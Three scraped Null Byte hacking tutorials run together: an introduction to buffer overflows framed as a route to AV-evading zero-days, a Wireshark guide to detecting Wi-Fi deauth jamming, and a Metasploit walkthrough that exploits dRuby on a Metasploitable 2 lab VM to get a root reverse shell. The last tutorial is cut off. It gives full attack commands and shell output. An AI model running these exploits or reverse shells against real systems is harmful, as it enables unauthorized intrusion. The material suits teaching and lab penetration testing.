Hack Like a Pro: How to Build Your Own Exploits, Part 1 (Introduction to Buffer Overflows) « Null Byte :: WonderHowTo | Welcome back, my fledgling hackers!With this first article, I am initiatinga new seriesintended to convey to my readers the skills necessary to develop your own exploits.As many of you know, soon after an exploit is found in the wild, software developers begin to work on patches to close the hole or vulnerability that was exposed. Soon, that exploit will no longer work, except on unpatched systems. (Despite this, don't underestimate the number of unpatched systems. Many firms don't patch out of neglect or fear that a patch will break a working production system. There are millions of unpatched systems!)Furthermore, soon after an exploit is developed,AV softwaredevelopers create a signature for the exploit, and the ability to send or install the software on the target system becomes problematic (not impossible,but problematic).The key to overcoming these issues is to develop your own exploits. If you can develop your exploits, there will be no patch and the AV software won't detect it. In essence, you will have developed the hacker's holy grail—a zero-day exploit!This series is designed to provide you the background and skills to develop your own zero-day exploits. It's not for the beginner or those without a good IT background, but we will start slowly and go step by step through the process, giving you time to build the skills you need.Expectthis seriesto have numerous tutorials (from 10 to 15) on the anatomy of buffer overflows and the knowledge and skills you need to find and exploit them along the path to building our own zero-day exploits. We will eventually develop our own stack-based buffer overflow, which involves overfilling a variable on the program's memory stack and overwriting adjacent memory areas.Let's begin with some basic concepts and terminology.Buffer OverflowsIn many of my numerous hacks here on Null Byte, we have been able to get a command shell or meterpreter on a remote computer. In the jargon of the industry, this is referred to as "remote arbitrary code execution." What is taking place in all of these cases is better known as a "buffer overflow."A buffer overflow is a condition where a variable is overstuffed with data and "arbitrary" (i.e., the hacker's) code is executed. This code can be anything, but ideally, it a command shell or terminal to give hacker control of the victim system.Buffer overflows are far and away the most dangerous and destructive vulnerabilities within any application or operating system. In its simplest form, a buffer overflow is simply a variable that does not check to make sure that too much data is sent to it (bounds checking) and when too much data is sent, the attacker can send and execute whatever malicious code they want in that address space.Memory BasicsTo understand buffer overflows and the terminology that the industry uses, you need to understand a bit about memory. Let's use a simple analogy.Let's imagine that our memory is like a large three-ring binder. You know, the type we have carried to school or work. When a new program executes, it begins to fill up the pages in this three-ring binder with data (stack) it needs, filling it from the top towards the bottom. When the program begins it execution, it requires temporary data that it uses and discards quickly. It then fills the binder with this data from the bottom toward the top (heap).The memory area directly after the program is called the "stack" and the memory area at the end of the memory area is called the "heap." If the book is large enough, then these two areas will never collide.Stack vs. Heap MemoryStack is short term memory, is fixed in size, and is used to store function arguments, local variables, etc.Heap is long-term memory and holds dynamic memory.General-Purpose RegistersOn Intel-based CPUs (both Mac and Windows), there are several general-purpose registers that can be used to store data. In future tutorials, we will be learning how to manipulate and use these registers to create our zero-day exploit. These are:EIP- instruction pointerESP- stack pointerEBP- base pointerESI- source indexEDI- destination indexEAX- accumulatorEBX- baseECX- counterEDX- dataNOP SledA NOP (no operation) is an instruction that tells the program to do nothing, and a NOP sled is a sequence of NOPs that are meant to slide the CPUs instruction flow to the desired location in memory registers. Many exploits use NOP sleds to direct the execution pointer to the malicious (hacker) code after pushing out the data from the stack or heap.These are some of the basic concepts and terminology you will need before we can begin building our exploit, so make certain you understand these concepts and bookmark this page before we proceed inthis exploit-building series. If you follow this series closely, by the end you will capable of developing your very own zero-day exploits.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Build Your Own Exploits, Part 2 (Writing a Simple Buffer Overflow in C)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Exploit Development-Stack Base Buffer Overflow/Part 1(VIDEO)How To:Create a Metasploit Exploit in Few MinutesHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteNews:Test Your Hacking / Exploiting Skills with SmashTheStack!Hacker Hurdles:DEP & ASLRHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7How To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingHow To:Attack on Stack [Part 4]; Smash the Stack Visualization: Prologue to Exploitation Chronicles, GDB on the Battlefield.Exploit Development:How to Learn Binary Exploitation with ProtostarHack Like a Pro:How to Hack Windows 7 to See Whether Your Girlfriend Is Cheating or NotHack Like a Pro:How to Build Your Own Exploits, Part 3 (Fuzzing with Spike to Find Overflows)Hack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How To:Attack on Stack [Part 5]; Smash the Stack Visualization: Remote Code Execution and Shellcode Concept.Hack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHow To:Security-Oriented C Tutorial 0x0C - Buffer Overflows Exposed!Advanced Exploitation:How to Find & Write a Buffer Overflow Exploit for a Network ServiceHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 2 (Configuration)How To:The Five Phases of HackingHow To:Attack on Stack [Part 6]; Smash the Stack Visualization: NOP Sled Technique, the End of a Trilogy.How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Use Your Hacking Skills to Haunt Your Boss with This Halloween PrankHowTo:Build Your Own DIY SuperMacro LensHow To:Attack on Stack [Part 3]; Smash the Stack Visualization: Building on Fundaments, Analyzation Trilogy Conclusion.News:And the Winner of the White Hat Award for Technical Excellence Is...Weekend Homework:How to Become a Null Byte ContributorNews:Null Byte Is Calling for Contributors!Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow Null Byte Injections Work:A History of Our NamesakeCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker Training |
How to Detect Script-Kiddie Wi-Fi Jamming with Wireshark « Null Byte :: WonderHowTo | Due to weaknesses in the way Wi-Fi works, it's extremely easy to disrupt most Wi-Fi networks using tools that forge deauthentication packets. The ease with which these common tools can jam networks is only matched by how simple they are to detect for anyone listening for them. We'll useWiresharkto discover a Wi-Fi attack in progress and determine which tool the attacker is using.How Script Kiddies Kill NetworksMost denial-of-service (DOS) attacks are pretty basic and take advantage of well-documented flaws in the way WPA networks manage connections. Because the management packets that devices use to control these connections are unencrypted, it's easy for an attacker to craft fake ones after sniffing the wireless channels nearby. Tools to do this are free, widespread, and well-documented on the internet, all perfect for script kiddies.Most common scripts likeAireplay-ngorMDK3do this by flooding a target with deauthentication or disassociation packets, which are both normal-seeming packets which have a disruptive effect on the network. Doing so requires onlya wireless network adapterwhich can be put into monitor mode, and a simple command can take out an entire channel with many networks operating on it for up to a block without any specialized equipment.Don't Miss:Disable Security Cams on Any Wireless Network with Aireplay-ngDetecting Common Wi-Fi DOS AttacksWhile these script-kiddie attacks can be very disruptive, they can also be detected by a variety of free and open-source tools. Software like Wireshark can be quite overwhelming for a beginner, especially without knowing what you're looking for in the flood of information available. To get started detecting these attacks, we'll be using Wireshark to sniff packets in the area and separate the types of packets we're interested in with filtering.Don't Miss:Use Kismet to Watch Wi-Fi User Activity Through WallsOther tools for detection can also identify these attacks in progress.Kismetprovides an alert for such attacks under the "Alerts" section, as well as providing alerts for other types of frequent attacks. While Kismet doesn't offer as much information as Wireshark, it's also a great way to get visibility of any attacks going on in your area.Using Wireshark for Packet SniffingIn this example, we'll be using Wireshark to detect Wi-Fi jamming attacks from nearby script kiddies. Wireshark can quickly get overwhelming with the amount of information it displays, so we'll need to filter this down to make it useful. As you can see from below, even with some coloring rules, a normally functioning Wi-Fi channel has a tremendous amount of information flying around. To make sense of it, we'll need to organize and filter it.Click or tap on the image to enlarge.While scanning, Wireshark will not control your wireless network adapter, so you'll need to use another program to set the channel (or to scan through channels). Once you set the channel to a network you want to scan, Wireshark will display all the packets captured on the channel, including other access points (APs) operating on the same channel. To sort through these, we'll use a few custom options in Wireshark.Wireshark Custom OptionsWireshark comes with a number of ways to filter what we're seeing to be more relevant. The first is by simply dropping packets that aren't relevant to what we're looking for. This can be packets from another AP or just data packets we have no reason to save. By not saving these packets in the first place, you can reduce the size of your capture file and avoid seeing the distracting and irrelevant information.The next way we can organize information is to tag interesting packets with color codes. This will make packets with specific rules we designate as important stand out more visibly. We can also instantly tell the difference between someone using a program that utilizes deauthentication packets exclusively versus a mix of deauthentication and disassociation, as in MDK3.The last way we'll organize our view in Wireshark is with display filters. With these, we can choose which packets from our capture will show up and which will be hidden. This can allow us to be even more specific in our search, while still making sure the packets are in the capture file and available for analysis.What You'll NeedWireshark is a fantastic program because it's well-supported. It's available for Window, macOS, and Linux, and it's capable of sniffing a variety of packet types. While we'll be using Wireshark to sniff Wi-Fi packets, it can also be used to sniff Bluetooth and Ethernet packets as well.I'll be doing this project in Kali Linux, which is recommended because it makes it very easy to change the channel your card is scanning on using a tool likeAirodump-ng. You can run Kali ina virtual machineor froma bootable USB stick, but it's not strictly necessary to be using Kali to run this project.Don't Miss:Bypass Locked Windows PCs to Run Kali Linux from a Live USBYou can detect attacks against your W-Fi network without putting your card into monitor mode, but you'll see far more packets by using a card that supports this. Many wireless cards are supported by Wireshark, so you should try your internal one before you usea separate adapterfor this project. If your card does not support monitor mode, you can check out our list of adapters that do below.More Info:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018To download Wireshark, you can navigate to theofficial websiteand grab an image fromthe download page. Follow the command prompts to install Wireshark, and once the installation is complete, we can start with our first Wireshark capture.Step 1: Prepare Your Network CardFirst, we'll need to set our wireless card to the correct channel we want to monitor. On Kali Linux, we can do this with the following commands, after initially runningifconfigorip ato find the name of our network interface.airmon-ng start NameOfYourWirelessCard
airodump-ng NameOfNetworkAdapterIf you're not sure what channel you want to be on, Airodump-ng will switch the card between different channels to scan everything. This has the disadvantage of causing many packets to be "fragmented" as the card is hopping between different networks. For best results, you should set the channel to that of the network you want to test.Airodump-ng will display all networks it sees. If you want to tune to a specific channel when you find a network you're interested in, you can pressCtrl-Cto stop the command and add-c ItsChannelNumberto the end of the previous Airodump-ng to lock the card to the desired channel.Once this is done, our card will be on the correct channel and scanning in wireless monitor mode. With this complete, we can open Wireshark and start applying capture filters for our investigation.Step 2: Capture Filters in WiresharkWhen you first open Wireshark, you'll see the menu below. First, select the adapter you'll be using to capture. In our example, we're usingen0. Next, you'll see a field marked "Capture" which is where we can enter capture filters.We'll want to include some capture filters to ensure we're dropping packets which aren't relevant or interesting to us. To keep our capture to packets pertinent to us, we can specify the following packet filter.wlan type data or wlan type mgt and (subtype deauth or subtype disassoc)This specifies that we only want to keep wireless LAN packets that are data or management-type packets. Additionally, we want those packets to be either deauthentication or disassociation packets. You can play around with this syntax to develop your own filters. If you want to see more filters you can use, click the green icon next to where you entered the capture filter to see other commonly used filters saved by default.When your window looks like the picture above, double-click on the interface you want to launch or pressreturnto start the Wireshark capture.Step 3: Display Filtering, Which Is Different for Some ReasonSince we're looking for two types of packets, we can set two coloring rules to make them pop out immediately when we see them. Without this, it may be hard to tell at a glance what's happening when packets are rapidly being added to the list. Click on "View" in the menu bar, then select "Coloring Rules" from the drop-down.This will lead you to a list of color rules. You can create your own by clicking the plus (+) button in the lower left side. Once there, you can enter a display filter, then a name for the filter in each row.To change colors, you can click the "Foreground" or "Background" buttons to select the color. I made mine orange to highlight the packets we're looking for.The filters we will be using will be green for data packets, orange for deauthentication packets, and yellow for disassociation packets. We can set these by setting the following values.Data flow - data
Deauth: Airmon or MDK3 - wlan.fc.type_subtype == 0x00c
Disassoc: Airmon or MDK3 - wlan.fc.type_subtype == 0x00aThis will set the filter to separate the packets we're looking for by the type of tool that makes them.With this complete, make sure the new color rules are selected with a checkmark, and click "OK" to save the changes.Once in the main window, we can type the following display filter into the main display filter bar. You'll notice it has an entirely different syntax from the capture filter. In this case, we identify the packets by their wireless frame subtype and also allow for data so we can see if connections are being choked.data || wlan.fc.type_subtype == 0x00c || wlan.fc.type_subtype == 0x00aAfter typing in that filter, we can apply the display filter to all of our data by hitting return.Step 4: Classify Common Script-Kiddie ToolsNow, time for a test. Using Aireplay-ng and MDK3 fromearlier tutorials, target your own Wi-Fi network (or one you have permission to) and record the results. You should notice two different patterns of in the attacks, and as a defender, you'll be able to determine which program is running from the data Wireshark shows you.Aireplay-ng: With Aireplay-ng, you should see nothing but yellow deauthentication attacks; This is the only option given in Aireplay-ng, and you can set a value to the number of packets to send in your attack to see how many you receive intact in Wireshark.MDK3: A pattern of orange and yellow stripes make MDK3 stick out as distinct in its attack signature, peppering targets with combined deauthentication and disassociation frames. Training MDK3 on a target will result in choking of green data packets after bursts of yellow and orange packets flood the channel.While floods of these packets are positive signs of an attack in progress, sometimes these packets do occur under normal circumstances on networks, especially corporate networks capable of "suppressing"rogue access points. If you see a few lone disassociation packets or the occasional deauth, it may not be cause for alarm.Step 5: Set Custom FiltersTo further refine your search, it's obvious how useful filters are. Rather than painfully learning every type of expression for the syntax allowed, Wireshark has a handy hacker way of setting anything as a display filter. Click on a packet from a network that you are interested in, and we'll use the information inside it to create a new display filter to only show packets transmitted from that device.On the bottom pane, click the downward facing arrows to expand the information in the packet. If you want to filter for everything like that thing (or filter that thing out), right-click on it, then select "Apply as Filter," followed by "Selected."You can also easily set colorized filters here, as well.Now, you can use this to make it so you only see transmissions to or from a particular MAC address. This is helpful for cutting through other devices that meet your display filter but still aren't relevant. To add anything to your filter, just type||after your last filter term, and add a new one. This means "or," allowing you to add more conditions a filter will match.To build more sophisticated filters, you can also combine them with&&statements to make the following filter a requirement, or replace the==symbol with!=to specify "does not equal" to filter out anything that does match that an undesirable value.While It's Easy to Disrupt a Network, It's Also Easy to DetectWireshark and other tools can be used to quickly get to the bottom of any suspected jamming. Because the tools to detect and localize jamming are free and available to anyone, hackers using tools like MDK3 and Aireplay-ng may be letting a network administrator know what you're doing, right down to the program you're using for the attack. This level of information is extremely useful for defenders, who can use it to create tools to automatically defend a network. Hackers, on the other hand, should keep in mind how many alarm bells they may trigger with such activities.The vulnerabilities in current Wi-Fi around unprotected management frames will largely be corrected in the upcoming WPA3 standard, but current users don't need to wait to protect against these script-kiddie-style jamming attacks. Protected management frames have actually been available for some time in the 802.11w standard, but most devices have this disabled by default. If you're interested in protecting yourself from these kinds of attacks, you should look into requiring protected management frames in your router's firmware settings.I hope you enjoyed this guide to detecting Wi-Fi jamming programs like MDK3 and Aireplay-ng with Wireshark! If you have any questions about this tutorial on Wireshark or you have a comment, feel free to reach me on Twitter@KodyKinzie.Don't Miss:How to Build a Software-Based Wi-Fi Jammer with AirgeddonFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Intercept Images from a Security Camera Using WiresharkHow To:Spy on Traffic from a Smartphone with WiresharkMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Detect & Classify Wi-Fi Jamming Packets with the NodeMCUHow To:Automate Wi-Fi Hacking with Wifite2How To:Securely Sniff Wi-Fi Packets with SniffglueHow To:Program a $6 NodeMCU to Detect Wi-Fi Jamming Attacks in the Arduino IDEHow To:Use MDK3 for Advanced Wi-Fi JammingHow To:Pick an Antenna for Wi-Fi HackingHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorNews:Simple Man-in-the-Middle Script: For Script KiddiesHow To:Build an Evasive Shell in Python, Part 4: Testing the ShellHow To:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow To:Intercept Security Camera Footage Using the New Hak5 Plunder BugHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:This DIY WiFi-Detecting 'Sting' Blade Is Perfect for Any Hobbit Looking for a HotspotNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Analyze Wi-Fi Data Captures with Jupyter NotebookHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyBecome an Elite Hacker, Part 2:Spoofing Cookies to Hack Facebook SessionsHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Get Free Wi-Fi from Hotels & MoreHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Change Your Android Device's Wi-Fi Country Code to Access Wireless Networks AbroadHow To:Bash (Shell) Scripting for Beginners |
How to Hack Distributed Ruby with Metasploit & Perform Remote Code Execution « Null Byte :: WonderHowTo | Things that are supposed to make life easier fordevelopers and usersare often easy targets for exploitation by hackers. Like many situations in the tech world, there is usually a trade-off between convenience and security. One such trade-off is found in a system known as Distributed Ruby, which can be compromised easily withMetasploit.Overview of Distributed RubyDistributed Ruby, also known as dRuby, or DRb, is a distributed object system for theRuby programming languagethat allows for remote method calls between Ruby processes, even if they are on different machines. It uses its own protocol and is written entirely in pure Ruby.This makes for a flexible service that developers can use to enhance certain programs, but it also opens up a security flaw when not properly implemented, such as in older versions of dRuby. Since this is typically used for smaller projects and novice programs, there usually isn't a lot of concern for security issues.Don't Miss:Perform Local Privilege Escalation Using a Linux Kernel ExploitThe Metasploit module we will be using automatically tries to exploit the vulnerable instance_eval and syscall methods in order to compromise the service andobtain a shell. We will be testing this onMetasploitable 2, an intentionally vulnerablevirtual machinewhich is running an insecure version of dRuby.Step 1: Verify the VulnerabilityThe first thing we need to do is confirm that Distributed Ruby (dRuby) is running on our target. When dRuby is initially set up, it binds itself to a specific URI and port, in this case, port 8787. We can run anNmap scanon this port to make sure.Use the-sVflag to identify service and version information, followed by the IP address of the target, and finally, set port 8787 with the-pflag, since this port is outside of Nmap's default list ofcommon portsthat are scanned.nmap -sV 172.16.1.102 -p 8787
[*] exec: nmap -sV 172.16.1.102 -p 8787
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 10:07 CST
Nmap scan report for 172.16.1.102
Host is up (0.0013s latency).
PORT STATE SERVICE VERSION
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.65 secondsWe can see that the dRuby service is present and running. Now, let's search for an exploit to use.Step 2: Search for an ExploitFire up Metasploit withmsfconsole, and typesearch drbto display any matching results.msf > search drb
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
exploit/linux/misc/drb_remote_codeexec 2011-03-23 excellent No Distributed Ruby Remote Code Execution
exploit/multi/misc/wireshark_lwres_getaddrbyname 2010-01-27 great No Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow
exploit/multi/misc/wireshark_lwres_getaddrbyname_loop 2010-01-27 great No Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)It looks like thedrb_remote_codeexecis exactly what we need. Load up the exploit with theusecommand followed by the path of the module.msf > use exploit/linux/misc/drb_remote_codeexecNow that we are positioned within this module, we can view information about it using theinfocommand.msf exploit(linux/misc/drb_remote_codeexec) > info
Name: Distributed Ruby Remote Code Execution
Module: exploit/linux/misc/drb_remote_codeexec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-03-23
Provided by:
joernchen <joernchen@phenoelit.de>
Available targets:
Id Name
-- ----
0 Automatic
1 Trap
2 Eval
3 Syscall
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST no The target address
RPORT 8787 yes The target port
URI no The URI of the target host (druby://host:port) (overrides RHOST/RPORT)
Payload information:
Space: 32768
Description:
This module exploits remote code execution vulnerabilities in dRuby.
References:
CVE: Not available
http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html
http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/
http://bugkraut.de/posts/taintingThis gives us some details about the exploit such as platform information, theinitial disclosuredate of the vulnerability, and options available for this exploit.Step 3: Launch the ExploitNow, we're ready to begin setting our options. We can set the IP address of our target with theset rhostcommand.msf exploit(linux/misc/drb_remote_codeexec) > set rhost 172.16.1.102
rhost => 172.16.1.102Next, we can view the availablepayloadsfor this module using theshow payloadscommand.msf exploit(linux/misc/drb_remote_codeexec) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
cmd/unix/generic normal No Unix Command, Generic Command Execution
cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
generic/custom normal No Custom Payload
generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP InlineAs you can see, there are quite a bit of options here. For now, we will use a reverse command shell in Ruby. Useset payloadto assign the appropriate payload.msf exploit(linux/misc/drb_remote_codeexec) > set payload cmd/unix/reverse_ruby
payload => cmd/unix/reverse_rubyNow, we can display the current settings to see where we are at. Use theoptionscommand.msf exploit(linux/misc/drb_remote_codeexec) > options
Module options (exploit/linux/misc/drb_remote_codeexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.1.102 no The target address
RPORT 8787 yes The target port
URI no The URI of the target host (druby://host:port) (overrides RHOST/RPORT)
Payload options (cmd/unix/reverse_ruby):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 AutomaticSince we specified a reverse shell as our payload, we need to set a listening address for the shell to call back to — this will be the IP address of our local machine. Useset lhostto assign this now.msf exploit(linux/misc/drb_remote_codeexec) > set lhost 172.16.1.100
lhost => 172.16.1.100Step 4: Get a ShellWe should be good to go. Typeexploitat the prompt, orrun, which does the exact same thing but is just shorter. We should see the attack launch and try a couple of methods to exploit the target.msf exploit(linux/misc/drb_remote_codeexec) > run
[*] Started reverse TCP handler on 172.16.1.100:4444
[*] Trying to exploit instance_eval method
[!] Target is not vulnerable to instance_eval method
[*] Trying to exploit syscall method
[*] attempting x86 execve of .JU4AK4Gh3sOBkaB7
[+] Deleted .JU4AK4Gh3sOBkaB7
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 08:00:27:77:62:6c brd ff:ff:ff:ff:ff:ff
inet 172.16.1.102/12 brd 172.31.255.255 scope global eth0
inet6 fe80::a00:27ff:fe77:626c/64 scope link
valid_lft forever preferred_lft foreverOnce it's successful, there should be a blinking cursor as the prompt. We can now execute any command we want, likewhoamito view the current user,uname -ato display system information, andip addressto verify that we have a shell on the target system. Since we now have a root shell, we own the system and can basically dowhatever we want.Wrapping UpIn this article, we learned how a simple service intended to provide enhanced functionality to programs was able to be exploited with the goal ofattaining root access. Since Distributed Ruby was designed to allow remote communication between processes, inherent security holes were inadvertently opened up. We saw how easily we were able to get a root-level shell on the target system, once again proving just how powerful Metasploit really is.Don't Miss:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byPeter-Lomas/Pixabay; Screenshots by drd_/Null ByteRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Exploit Remote File Inclusion to Get a ShellHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Hack UnrealIRCd Using Python Socket ProgrammingHow To:Create a Metasploit Exploit in Few MinutesHow To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)How To:Get Root with Metasploit's Local Exploit SuggesterHow To:Hack Apache Tomcat via Malicious WAR File UploadHacker Hurdles:DEP & ASLRMac for Hackers:How to Install RVM to Maintain Ruby Environments in macOSHacking macOS:How to Hack a MacBook with One Ruby CommandHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHow To:Exploit Java Remote Method Invocation to Get RootHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Build remote API queries with Ruby on Rails codeHow to Meterpreter:Interactive Ruby Shell (A Quick Introduction)How To:Gather Information on PostgreSQL Databases with MetasploitHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesBasics of Ruby:Part 1 (Data Types/Data Storage)Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Use Metasploit's Database to Stay Organized & Store Information While HackingIPsec Tools of the 